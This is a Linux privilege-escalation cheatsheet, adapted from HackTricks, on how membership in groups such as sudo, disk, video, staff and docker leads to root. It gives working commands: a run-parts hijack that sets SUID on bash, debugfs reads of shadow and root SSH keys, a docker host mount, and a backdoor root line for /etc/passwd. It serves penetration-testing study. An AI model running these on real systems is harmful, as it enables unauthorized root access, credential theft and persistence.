daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (16974B)


      1 ---
      2 title: "Interesting Groups - Linux Privesc"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/user-information/interesting-groups-linux-pe/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/user-information/interesting-groups-linux-pe/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Interesting Groups - Linux Privesc
     14 
     15 ## Sudo/Admin Groups
     16 
     17 ### **PE - Method 1**
     18 
     19 **Sometimes**, a system's **/etc/sudoers** policy (or a file included from it) contains entries such as:<sup>[[3]](#references)</sup>
     20 
     21 ```bash
     22 # Allow members of group sudo to execute any command
     23 %sudo	ALL=(ALL:ALL) ALL
     24 
     25 # Allow members of group admin to execute any command
     26 %admin 	ALL=(ALL:ALL) ALL
     27 ```
     28 
     29 This means that any user matched by either entry may run any command as any target user through `sudo` (subject to the rest of the policy).<sup>[[3]](#references)</sup>
     30 
     31 If this is the case, to **become root you can just execute**:
     32 
     33 ```text
     34 sudo su
     35 ```
     36 
     37 ### PE - Method 2
     38 
     39 Find all suid binaries and check if there is the binary **Pkexec**:
     40 
     41 ```bash
     42 find / -perm -4000 2>/dev/null
     43 ```
     44 
     45 If **pkexec is a SUID binary**, it can execute a program as another user only when polkit authorizes the requested action; the SUID bit alone does not guarantee root. Check the installed policy and the target session's authorization instead of assuming membership in **sudo** or **admin** is sufficient.<sup>[[4]](#references)[[5]](#references)</sup>
     46 
     47 On distributions that still use the older Local Authority backend, inspect its group rules with:
     48 
     49 ```bash
     50 cat /etc/polkit-1/localauthority.conf.d/*
     51 ```
     52 
     53 The relevant group names and defaults vary by distribution; a group is useful here only if the local policy names it.<sup>[[5]](#references)</sup>
     54 
     55 To **become root you can execute**:
     56 
     57 ```bash
     58 pkexec "/bin/sh" #Authentication is required according to the local policy
     59 ```
     60 
     61 If you try to execute **pkexec** and you get this **error**:
     62 
     63 ```bash
     64 polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
     65 ==== AUTHENTICATION FAILED ===
     66 Error executing command as another user: Not authorized
     67 ```
     68 
     69 On an SSH session without a registered authentication agent, `pkexec` may fail with this error even when the policy would otherwise allow the action; polkit documents `pkttyagent` as a text authentication agent for non-desktop sessions. The exact behavior is version- and distribution-dependent, so verify the local policy and agent setup. One workaround reported for affected NixOS versions uses **2 different SSH sessions**.<sup>[[1]](#references)[[4]](#references)[[5]](#references)</sup>
     70 
     71 ```bash
     72 echo $$ #Step1: Get current PID
     73 pkexec "/bin/bash" #Step 3, execute pkexec
     74 #Step 5, if correctly authenticate, you will have a root session
     75 ```
     76 
     77 ```bash
     78 pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
     79 #Step 4, you will be asked in this session to authenticate to pkexec
     80 ```
     81 
     82 ## Wheel Group
     83 
     84 Sometimes a sudoers policy may also contain this entry:
     85 
     86 ```text
     87 %wheel	ALL=(ALL:ALL) ALL
     88 ```
     89 
     90 This means that any user matched by the entry may run any command as any target user through `sudo` (subject to the rest of the policy).<sup>[[3]](#references)</sup>
     91 
     92 If this is the case, to **become root you can just execute**:
     93 
     94 ```text
     95 sudo su
     96 ```
     97 
     98 ## Shadow Group
     99 
    100 On systems whose permissions grant it, users in the **shadow** group can **read** **/etc/shadow**; verify the actual mode and ACLs on the target:<sup>[[6]](#references)[[7]](#references)</sup>
    101 
    102 ```text
    103 -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
    104 ```
    105 
    106 So, read the file and try to **crack some hashes**.
    107 
    108 Quick lock-state nuance when triaging hashes:
    109 - Entries with `!` or `*` are generally non-interactive for password logins.
    110 - `!hash` means the password was locked; the remaining characters represent the password field before it was locked.
    111 - A field containing `*` is not a valid `crypt(3)` hash and prevents UNIX-password login; do not infer from it whether a password was previously set.
    112 This is useful for account classification even when direct login is blocked.<sup>[[6]](#references)</sup>
    113 
    114 ## Staff Group
    115 
    116 **staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security.<sup>[[2]](#references)[[7]](#references)</sup>
    117 
    118 On Debian configurations where `/usr/local/bin` precedes `/usr/bin` in `PATH` (as in the examples below), an unqualified command resolves to the `/usr/local/bin` copy first; confirm the effective `PATH` on the target.
    119 
    120 ```bash
    121 $ echo $PATH
    122 /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
    123 
    124 # echo $PATH
    125 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    126 ```
    127 
    128 If a privileged process resolves an unqualified command through a writable `/usr/local/bin`, replacing that command can execute with the process's privileges; confirm the actual path and trigger before testing.
    129 
    130 On Ubuntu systems, `pam_motd` runs executable scripts via `run-parts --lsbsysinit` as root at login; cron jobs may also use `run-parts`, but this is distribution- and configuration-specific.<sup>[[10]](#references)[[11]](#references)</sup>
    131 
    132 ```bash
    133 $ cat /etc/crontab | grep run-parts
    134 17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
    135 25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
    136 47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
    137 52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
    138 ```
    139 
    140 On a new SSH login, `pspy` can help confirm whether this path is actually invoked on the target; it can observe process command lines without root.<sup>[[10]](#references)[[12]](#references)</sup>
    141 
    142 ```bash
    143 $ pspy64
    144 2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
    145 2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
    146 2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
    147 2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
    148 2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
    149 2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
    150 2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
    151 2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
    152 2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash
    153 ```
    154 
    155 **Exploit**
    156 
    157 ```bash
    158 # 0x1 Add a run-parts script in /usr/local/bin/
    159 $ vi /usr/local/bin/run-parts
    160 #! /bin/bash
    161 chmod 4777 /bin/bash
    162 
    163 # 0x2 Don't forget to add a execute permission
    164 $ chmod +x /usr/local/bin/run-parts
    165 
    166 # 0x3 start a new ssh sesstion to trigger the run-parts program
    167 
    168 # 0x4 check premission for `u+s`
    169 $ ls -la /bin/bash
    170 -rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash
    171 
    172 # 0x5 root it
    173 $ /bin/bash -p
    174 ```
    175 
    176 ## Disk Group
    177 
    178 Membership in the **disk** group may grant raw access to block devices and is often **close to root access**; Debian describes it as mostly equivalent to root, but verify the actual device permissions and storage layout on the target.<sup>[[7]](#references)</sup>
    179 
    180 Common device paths include `/dev/sd*`, but NVMe and other storage layouts use different names.
    181 
    182 ```bash
    183 df -h #Find where "/" is mounted
    184 debugfs /dev/sda1
    185 debugfs: cd /root
    186 debugfs: ls
    187 debugfs: cat /root/.ssh/id_rsa
    188 debugfs: cat /etc/shadow
    189 ```
    190 
    191 `debugfs` operates on ext2/ext3/ext4 filesystems; paths such as `/root` and `/etc/shadow` above are files inside the opened filesystem, while the second argument to `dump` is an output path on the native filesystem.<sup>[[8]](#references)</sup> For example, this extracts `/tmp/asd1.txt` from the opened filesystem to `/tmp/asd2.txt` on the native filesystem:
    192 
    193 ```bash
    194 debugfs /dev/sda1
    195 debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt
    196 ```
    197 
    198 The `-w` option opens the filesystem read-write, and the `write` command copies a native file into the opened filesystem. Avoid using it on a mounted live filesystem because direct edits can corrupt the filesystem; work from an offline image when possible.<sup>[[8]](#references)</sup>
    199 
    200 ```bash
    201 debugfs -w /dev/sda1
    202 debugfs:  write /tmp/asd1.txt /tmp/asd2.txt
    203 ```
    204 
    205 ## Video Group
    206 
    207 Using the command `w` you can find **who is logged on the system** and it will show an output like the following one.<sup>[[20]](#references)</sup>
    208 
    209 ```bash
    210 USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
    211 yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
    212 moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash
    213 ```
    214 
    215 The **tty1** entry identifies the first Linux virtual console; it does not by itself prove that a user is physically present at the machine, especially in containers or other environments.<sup>[[21]](#references)</sup>
    216 
    217 On systems exposing a readable framebuffer device, membership in the **video** group may grant access to that device. The Linux framebuffer interface documents `/dev/fb0` as a readable memory device that can be copied for a screen snapshot; the `/sys/class/graphics/fb0/virtual_size` path is available only where that fbdev sysfs attribute is present, so check the target first.<sup>[[7]](#references)[[9]](#references)</sup>
    218 
    219 ```bash
    220 cat /dev/fb0 > /tmp/screen.raw
    221 cat /sys/class/graphics/fb0/virtual_size
    222 ```
    223 
    224 If the installed **GIMP** version exposes a raw-data importer, open **`screen.raw`** with that importer; support and controls vary by version and plug-in.<sup>[[22]](#references)</sup>
    225 
    226 ![Disk Group - Video Group: To open the raw image you can use GIMP , select the screen.raw file and select as file type Raw image data](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28463%29.png)
    227 
    228 Set the image Width and Height to match the framebuffer geometry; try the available pixel formats/Image Types until the output is legible.<sup>[[9]](#references)</sup>
    229 
    230 ![Disk Group - Video Group: Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28317%29.png)
    231 
    232 ## Root Group
    233 
    234 Membership in the **root** group does not provide root's UID, but group-writable files owned by `root` can still be interesting when privileged services or libraries consume them. Verify the file's actual permissions and how it is used before treating it as a privilege-escalation path.
    235 
    236 **Check which files root members can modify**:
    237 
    238 ```bash
    239 find / -group root -perm -g=w 2>/dev/null
    240 ```
    241 
    242 ## Docker Group
    243 
    244 Membership in the `docker` group grants root-level access to the Docker daemon on standard rootful installs. Because bind mounts are read-write by default, a user who can control that daemon can mount the host's `/` into a container and alter host files; this effectively gives root on the host.<sup>[[13]](#references)[[14]](#references)[[15]](#references)</sup>
    245 
    246 ```bash
    247 docker image #Get images from the docker service
    248 
    249 #Get a shell inside a docker container with access as root to the filesystem
    250 docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
    251 #If you want full access from the host, create a backdoor in the passwd file
    252 echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
    253 
    254 #Ifyou just want filesystem and network access you can startthe following container:
    255 docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bash
    256 ```
    257 
    258 Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
    259 
    260 [Container Security](/hacktricks/linux-hardening/containers-namespaces/container-security/overview)
    261 
    262 If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../../1-linux-basics/linux-privilege-escalation/index.html#writable-docker-socket)**.**
    263 
    264 [Docker Privilege Escalation](https%3A//github.com/KrustyHack/docker-privilege-escalation)
    265 
    266 [Privilege Escalation Via Docker.Html](https%3A//fosterelli.co/privilege-escalation-via-docker.html)
    267 
    268 ## lxc/lxd Group
    269 
    270 [.](/hacktricks/linux-hardening/user-information/interesting-groups-linux-pe/overview)
    271 
    272 ## Adm Group
    273 
    274 Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
    275 Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.<sup>[[7]](#references)</sup>
    276 
    277 ## Backup / Operator / lp / Mail groups
    278 
    279 These groups have service- and distribution-specific meanings. Debian documents `backup` for delegated backup/restore, `lp` for printer daemons, and `mail` for `/var/mail`, so check local permissions before treating membership as a privilege path.<sup>[[7]](#references)</sup>
    280 
    281 They are often **credential-discovery** vectors rather than direct root vectors:
    282 - **backup**: may expose archives with configs, keys, DB dumps, or tokens.
    283 - **operator**: platform-specific operational access that can leak sensitive runtime data.
    284 - **lp**: print queues/spools can contain document contents.
    285 - **mail**: mail spools can expose reset links, OTPs, and internal credentials.
    286 
    287 Treat membership here as a high-value data exposure finding and pivot through password/token reuse.
    288 
    289 ## Auth group
    290 
    291 On OpenBSD, when S/Key is configured, `/etc/skey` is owned by `root:auth` and access to its records requires group `auth`; YubiKey records are stored in `/var/db/yubikey`.<sup>[[16]](#references)[[17]](#references)</sup> A vulnerable OpenBSD 6.6 configuration with S/Key or YubiKey enabled allowed local users with `auth` privileges to become root; Qualys documents the prerequisite and exploit chain, and the linked PoC implements it.<sup>[[18]](#references)[[19]](#references)</sup>
    292 
    293 ## References
    294 
    295 - [1] [pkexec/pkttyagent authentication without a GUI session (NixOS issue #18012)](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)
    296 - [2] [SystemGroups - Debian Wiki](https://wiki.debian.org/SystemGroups)
    297 - [3] [sudoers(5) — sudo — Debian Manpages](https://manpages.debian.org/bookworm/sudo/sudoers.5.en.html)
    298 - [4] [pkexec — polkit Reference Manual](https://polkit.pages.freedesktop.org/polkit/pkexec.1.html)
    299 - [5] [polkit — polkit Reference Manual](https://polkit.pages.freedesktop.org/polkit/polkit.8.html)
    300 - [6] [shadow(5) — Linux manual page](https://man7.org/linux/man-pages/man5/shadow.5.html)
    301 - [7] [Securing Debian Manual](https://www.debian.org/doc/manuals/securing-debian-manual/securing-debian-manual.en.pdf)
    302 - [8] [debugfs(8) — Linux manual page](https://www.man7.org/linux/man-pages/man8/debugfs.8.html)
    303 - [9] [The Frame Buffer Device — The Linux Kernel documentation](https://docs.kernel.org/fb/framebuffer.html)
    304 - [10] [update-motd(5) — Ubuntu Manpages](https://manpages.ubuntu.com/manpages/resolute/man5/update-motd.5.html)
    305 - [11] [run-parts(8) — Debian Manpages](https://manpages.debian.org/unstable/debianutils/run-parts.8.en.html)
    306 - [12] [pspy — unprivileged Linux process snooping](https://github.com/DominicBreuker/pspy)
    307 - [13] [Docker Engine security](https://docs.docker.com/engine/security/)
    308 - [14] [Manage Docker as a non-root user](https://docs.docker.com/engine/install/linux-postinstall)
    309 - [15] [Running containers — Docker Docs](https://docs.docker.com/engine/containers/run/)
    310 - [16] [skey(5) — OpenBSD manual pages](https://man.openbsd.org/skey.5)
    311 - [17] [login_yubikey(8) — OpenBSD manual pages](https://man.openbsd.org/login_yubikey.8)
    312 - [18] [Authentication vulnerabilities in OpenBSD — Qualys Security Advisory](https://www.openwall.com/lists/oss-security/2019/12/04/5)
    313 - [19] [openbsd-authroot — local exploit PoC](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
    314 - [20] [w(1) — Linux manual page](https://man7.org/linux/man-pages/man1/w.1.html)
    315 - [21] [Linux allocated devices (4.x+ version)](https://docs.kernel.org/6.16/admin-guide/devices.html)
    316 - [22] [Image Import and Export — GIMP Documentation](https://docs.gimp.org/3.0/en/gimp-prefs-import-export.html)